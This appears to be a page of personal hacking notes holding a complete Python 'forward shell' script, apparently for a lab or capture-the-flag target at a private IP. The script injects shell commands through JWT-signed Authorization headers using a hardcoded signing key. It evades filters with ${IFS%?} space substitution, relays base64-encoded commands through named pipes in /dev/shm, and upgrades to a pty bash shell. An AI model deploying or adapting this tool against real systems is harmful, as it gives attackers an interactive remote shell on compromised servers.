Forward Shell
Based on Ippsec's forwars shell
Might give timeout warnings but works. Type upgrade to upgrade shell.
import base64
import random
import requests
import threading
import time
import jwt
import readline
import sys
class WebShell(object):
# Initialize Class + Setup Shell, also configure proxy for easy history/debugging with burp
def __init__(self, interval=5):
self.url = r"http://172.16.1.22:3000/"
session = random.randrange(10000,99999)
print(f"[*] Session ID: {session}")
self.stdin = f'/dev/shm/input.{session}'
self.stdout = f'/dev/shm/output.{session}'
self.interval = interval
self.stop_thread = threading.Event()
# Increase timeout and add retry mechanism
try:
# set up shell
print("[*] Setting up fifo shell on target")
MakeNamedPipes = f"mkfifo {self.stdin}; tail -f {self.stdin} | /bin/sh | tee {self.stdout}"
self.RunRawCmd(MakeNamedPipes, timeout=5)
# set up read thread
print("[*] Setting up read thread")
thread = threading.Thread(target=self.ReadThread, args=())
thread.daemon = True
thread.start()
except Exception as e:
print(f"Initialization error: {e}")
sys.exit(1)
# Read $session, output text to screen & wipe session
def ReadThread(self):
GetOutput = f"/bin/cat {self.stdout}"
while not self.stop_thread.is_set():
try:
result = self.RunRawCmd(GetOutput)
if result:
print(result)
ClearOutput = f'/bin/echo -n "" | tee {self.stdout}'
self.RunRawCmd(ClearOutput)
time.sleep(self.interval)
except Exception as e:
print(f"Read thread error: {e}")
break
# Execute Command
def RunRawCmd(self, cmd, timeout=10, proxy="http://127.0.0.1:8080"):
try:
# Modify command to handle spaces
cmd = cmd.replace(" ","${IFS%?}")
# Use a consistent key and JWT encoding
secret_key = 'PSmu3dR2wMZQvNge'
encoded_jwt = jwt.encode({'cmd': cmd}, secret_key, algorithm='HS256')
# Ensure payload is a string
payload = "Bearer " + (encoded_jwt if isinstance(encoded_jwt, str) else encoded_jwt.decode('utf-8'))
headers = {'Authorization': payload}
# Increase timeout and add connection parameters
r = requests.get(
self.url,
headers=headers,
timeout=timeout,
verify=False, # Disable SSL verification if needed
allow_redirects=True
)
return r.text
except requests.exceptions.RequestException as e:
print(f"Connection error: {e}")
return None
# Send b64'd command to RunRawCommand
def WriteCmd(self, cmd):
try:
b64cmd = base64.b64encode('{}\n'.format(cmd.rstrip()).encode('utf8')).decode('utf-8')
stage_cmd = f'/bin/echo {b64cmd} | base64 -d | tee {self.stdin}'
self.RunRawCmd(stage_cmd)
time.sleep(self.interval * 1.1)
except Exception as e:
print(f"Write command error: {e}")
def UpgradeShell(self):
# upgrade shell
UpgradeShell = """python3 -c 'import pty; pty.spawn("/bin/bash")'"""
self.WriteCmd(UpgradeShell)
def cleanup(self):
# Ensure that the thread is stopped
self.stop_thread.set()
def main():
prompt = "User > "
S = WebShell()
try:
while True:
try:
cmd = input(prompt)
if cmd == "upgrade":
prompt = ""
S.UpgradeShell()
else:
S.WriteCmd(cmd)
except KeyboardInterrupt:
print("\nInterrupted. Use Ctrl+C again to exit.")
S.cleanup() # Ensure cleanup happens on interruption
sys.exit(0) # Exit the program
except KeyboardInterrupt:
print("\nExiting...")
S.cleanup() # Stop the background thread
sys.exit(0)
if __name__ == "__main__":
main()
Last updated
Was this helpful?